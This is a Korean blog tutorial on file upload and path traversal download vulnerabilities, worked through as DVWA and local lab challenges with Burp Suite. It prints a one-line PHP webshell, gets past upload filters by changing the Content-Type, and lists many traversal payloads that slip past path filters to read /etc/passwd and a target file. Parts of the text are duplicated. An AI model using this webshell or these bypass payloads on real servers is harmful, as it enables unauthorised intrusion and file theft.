반응형
ி 파일 업로드 취약점
공격자가 악성 스크립트 파일을 업로드하여 해당 스크립트를 통해 원격에서 시스템을 제어할 수 있다.
버프스위트를 이용하여 dvwa에 업로드가 제한된 파일을 강제로 업로드하는 실습을 진행해보자.
#1 파일 크기 제한
웹서버가 파일 업로드 용량을 10kb로 제한하였다.
그 이상의 용량을 업로드하려면 MAX_FILE_SIZE를 설정하면 된다.
#2 제한된 확장자 업로드
서버에서 php,asp,jsp 확장자는 업로드를 제한하였다.
확장자 필터링을 우회하려면 content-type을 image/jpeg로 변경하면 된다.
업로드된 webshell.php 코드는 아래와 같다.
<?php
system( $_GET[cmd] );
?>
system( $_GET[cmd] );
?>
공격자가 HTTP GET 방식으로 webshell.php에 있는 경로에서 명령 코드를 서버에게 전달하면
서버는 저 php 코드를 해석하여 명령을 수행하게 된다.
공격자는 서버에 /etc/passwd 명령을 전달하였다.
그 후 공격자의 웹페이지 화면에 서버의 명령 결과가 출력되었다.
ி 파일 다운로드 취약점
이를 적절히 필터링 하지 않으면 공격자가 이를 조작하여 허용되지 않은 파일을 다운 받을 수 있다.
윈도우 경로 지시자
폴더간 이동할 때 사용하는 경로 지시자를 알아야한다.
윈도우에서 상위 폴더로 이동하는 명령어는 ../ 또는 ..\로 표현한다.
리눅스는 ../만 사용할 수 있다.
윈도우 cmd에서 다음 경로는 어떻게 실행되는지 확인해보자.
"practice\test\../a.png"
"practice\test\..\a.png"
아까 말했듯이 윈도우에서 경로를 이동할 때 슬래시와 역슬래시 모두 사용가능하다.
따라서 practice폴더에 있는 a.png가 실행된다.
"practice\test\.\a.png"
"practice\test\./a.png"
"practice\test\\a.png"
"practice\test\/a.png"
./
.\
/
\
는 경로에 아무런 영향이 없으므로 test폴더에 있는 png가 실행된다. 취약점 공격 유형
filename=passwd&path=../../../../etc
filename=passwd&path=/etc
리눅스에 /etc/passwd 파일을 가져오는 공격 유형이다.
실습
①
피해 서버는 윈도우 apmsetup을 사용 ②
피해 서버에 존재하는 다운로드 가능한 파일은 prob/test.jpg ③
파일 다운로드 취약점을 이용하여 다운받아야 하는 서버의 파일은 C:\\down\clear.txt ④
버프스위트로 prob/test.jpg 파일의 다운로드 경로를 조작하여 C:\\down\clear.txt를 다운할 것 ⑤
피해 서버의 전체 경로는 C:\\A/B/C/D/prob/ 서버는 파일 다운로드 취약점을 대비하기 위해 / \ ./ ../ .\ ..\ 등의 경로 문자를 필터링할 가능성이 있다.
이를 위해 filename 중간에 경로 문자를 삽입 요청하여 응답을 확인하도록 한다.
파일 다운이 가능하다면 해당 경로는 필터링되고 있는 것이다.
예시로 test.jpg를 t/est.jpg로 변경했는데 /라는 문자가 필터링된다면
다시 test.jpg로 바뀌게 되어 정상적인 문자열로 인식하고 파일이 다운로드가 된다.
만약 필터링이 안된다면 서버에서 특수문자 경로를 포함 또는 없는 파일이라는
경고 메세지를 반환하고 파일은 다운할 수 없다.
따라서 여러 경로 문자들을 대입하여 필터링하는 문자들을 먼저 걸러내야한다.
Challenge 1
/는 전부 필터링, \ .\ ..\ 는 필터링하지 않는다.
down\clear.txt 파일을 다운받기 위해 아래와 같이 작성한다.
filename=..\..\..\..\..\..\down\clear.txt
..\를 필터링하지 않으니 그대로 작성한다.
Challenge 2
아래의 응답 결과를 토대로 경로 필터를 우회하는 패턴을 작성한다.
/와 ./는 no 필터링, ../는 필터링되고 있다.
이 필터링을 우회하려면 다음과 같이 작성한다.
filename=....//....//....//....//....//....//down/clear.txt
....//에 ../가 필터되면서 ../로 바뀌게 되므로 상위 폴더로 이동하는 경로가 만들어진다.
Challenge 3
이전과는 다르게 경로값을 따로 받는다
➽ 이 문제는 upload 폴더에 상위 폴더가 최상위 폴더라고 가정한다.
path=upload/images/../../../down&filename=clear.txt
Challenge 4
../는 가능하나 ../../부터 사용이 불가하다.
이를 우회하는 방법은 아래와 같다.
filename=.././.././.././.././.././../down/clear.txt
./는 아무 의미 없는 경로인데
이를 같이 삽입하여 .././../를 만들면 중간에 ./가 사라지면서 ../../로 바뀌게 된다.
Challenge 5
이 문제는 필터링 순서가 중요하다.
./와 .\를 먼저 제거후 ../를 제거한다.
따라서 여러 경로 문자들을 대입하여 필터링하는 문자들을 먼저 걸러내야한다.
Challenge 1
filename=/test.jpg
응답결과 : 허용되지 않는 문자가 포함되어 있습니다. filename=\test.jpg
filename=te\st
filename=t.\est
filename=.\test.jpg
filename=..\test.jpg
응답결과 : 파일이 존재하지 않습니다.filename=te\st
filename=t.\est
filename=.\test.jpg
filename=..\test.jpg
/는 전부 필터링, \ .\ ..\ 는 필터링하지 않는다.
down\clear.txt 파일을 다운받기 위해 아래와 같이 작성한다.
filename=..\..\..\..\..\..\down\clear.txt
..\를 필터링하지 않으니 그대로 작성한다.
Challenge 2
아래의 응답 결과를 토대로 경로 필터를 우회하는 패턴을 작성한다.
filename=te/st.jpg
filename=te./st.jpg
응답결과 : 파일이 존재하지 않습니다.filename=te./st.jpg
filename=../test.jpg
filename=te../st.jpg
응답결과 : 정상적으로 파일을 다운로드filename=te../st.jpg
/와 ./는 no 필터링, ../는 필터링되고 있다.
이 필터링을 우회하려면 다음과 같이 작성한다.
filename=....//....//....//....//....//....//down/clear.txt
....//에 ../가 필터되면서 ../로 바뀌게 되므로 상위 폴더로 이동하는 경로가 만들어진다.
Challenge 3
이전과는 다르게 경로값을 따로 받는다
path=upload/images&filename=test.jpg
filename=/test.jpg
filename=\test.jpg
응답결과 : 허용되지 않는 문자가 포함되어 있습니다.filename=\test.jpg
path= upload/images/../
응답결과 : 파일이 존재하지 않습니다.➽ 이 문제는 upload 폴더에 상위 폴더가 최상위 폴더라고 가정한다.
path=upload/images/../../../down&filename=clear.txt
Challenge 4
filename=t/est.jpg
filename=t\est.jpg
filename=t./est.jpg
filename=t..\est.jpg
filename=t../est.jpg
응답결과 : 파일이 존재하지 않습니다.filename=t\est.jpg
filename=t./est.jpg
filename=t..\est.jpg
filename=t../est.jpg
filename=t../../est.jpg
응답결과 : 허용되지 않는 문자가 포함되어 있습니다.../는 가능하나 ../../부터 사용이 불가하다.
이를 우회하는 방법은 아래와 같다.
filename=.././.././.././.././.././../down/clear.txt
./는 아무 의미 없는 경로인데
이를 같이 삽입하여 .././../를 만들면 중간에 ./가 사라지면서 ../../로 바뀌게 된다.
Challenge 5
filename=t/est.jpg
filename=t\est.jpg
filename=test.jpg
응답결과 : 파일이 존재하지 않습니다.filename=t\est.jpg
filename=test.jpg
filename=t./est.jpg
filename=t.\est.jpg
filename=t..\est.jpg
filename=t../est.jpg
응답결과 : 정상적으로 파일을 다운로드filename=t.\est.jpg
filename=t..\est.jpg
filename=t../est.jpg
이 문제는 필터링 순서가 중요하다.
./와 .\를 먼저 제거후 ../를 제거한다.
filename = .....///.....///.....///.....///.....///.....///.....///down/clear.txt
경로 제거 순서는 다음과 같다.
...../// → ....// → ../
Challenge 6
filename=\t\est.jpg
filename=t.est.jpg
응답결과 : 파일이 존재하지 않습니다.filename=t.est.jpg
filename=/t/est.jpg
filename=..t..est.jpg
filename=./test.jpg
filename=../test.jpg
응답결과 : 정상적으로 파일을 다운로드filename=..t..est.jpg
filename=./test.jpg
filename=../test.jpg
/와 ..은 각각 필터링된다.
순서체크를 위해 ./.을 넣어본다.
만약 다운로드가 가능하다면 / 제거후 ..도 제거되지만
다운이 안되므로 ..제거 후 /가 제거된다.
filename=./.\./.\./.\./.\./.\./.\./.\down\clear.txt
위 우회법은 / 대신 ..을 먼저 제거하기 때문에 가능한 방법이다.
만약 /가 먼저 제거되면 ./.\ → ..\ → \만 남게된다.
반응형
'해킹-보안' 카테고리의 다른 글
sqlmap 사용법 (0) | 2020.07.20 |
---|---|
hydra 패스워드 크랙툴 사용법 (3) | 2020.07.13 |
버프스위트(Burpsuite) 설치 및 환경설정 (0) | 2020.07.05 |
BeEF Framework를 이용한 웹 브라우저 후킹 (0) | 2020.07.04 |
setoolkit을 이용하여 피싱 사이트 만들기 (2) | 2020.07.04 |